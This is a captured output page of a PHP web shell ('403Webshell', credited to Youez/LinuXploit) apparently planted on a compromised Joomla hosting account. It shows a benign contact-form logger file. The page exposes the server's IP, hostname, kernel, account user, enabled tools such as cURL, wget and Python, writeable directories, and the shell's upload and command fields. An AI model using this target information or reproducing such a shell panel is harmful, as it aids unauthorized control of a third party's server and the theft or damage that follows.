403Webshell
Server IP : 87.98.154.146  /  Your IP : 216.73.216.101
Web Server : Apache
System : Linux webm005.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : bsiadvisil ( 110003)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bsiadvisil/www/components/com_nexevocontact/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/bsiadvisil/www/components/com_nexevocontact/helpers/nlogger.php
<?php defined("_JEXEC") or die('Restricted access');
/**

 @Nexevo Responsive Conact Form             
 @author Nexevo Technologies <info@nexevo.in>    
 @link http://www.Nexevo.in 
 @copyright (C) 2010 - 2011 Nexevo-Extension      
 @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html

**/

class NLogger
{
	protected $Handle = null;
	protected $Prefix = "";
	public function __construct($prefix = null, $suffix = null)
	{
		$this->open($suffix);
		if ($prefix) $this->Prefix = "[" . $prefix . "] ";
	}
	function __destruct()
	{
		if ($this->Handle) fclose($this->Handle);
	}
	public function Write($buffer)
	{
		if (!$this->Handle) return false;
		$buffer = str_replace(array("\r", "\n"), " ", $buffer);
		fseek($this->Handle, 0, SEEK_END);
		return fwrite($this->Handle, JFactory::getDate()->format("Y-m-d H:i:s") . " " . $this->Prefix . $buffer . PHP_EOL);
	}
	protected function open($suffix = null)
	{
		if (!$suffix) $suffix = md5(JFactory::getConfig()->get("secret"));
		$this->Handle = @fopen(JFactory::getConfig()->get("log_path") . "/" . substr(basename(realpath(dirname(__FILE__) . '/..')), 4) . "-" . $suffix . ".txt", 'a+');
	}
}


Youez - 2016 - github.com/yon3zu
LinuXploit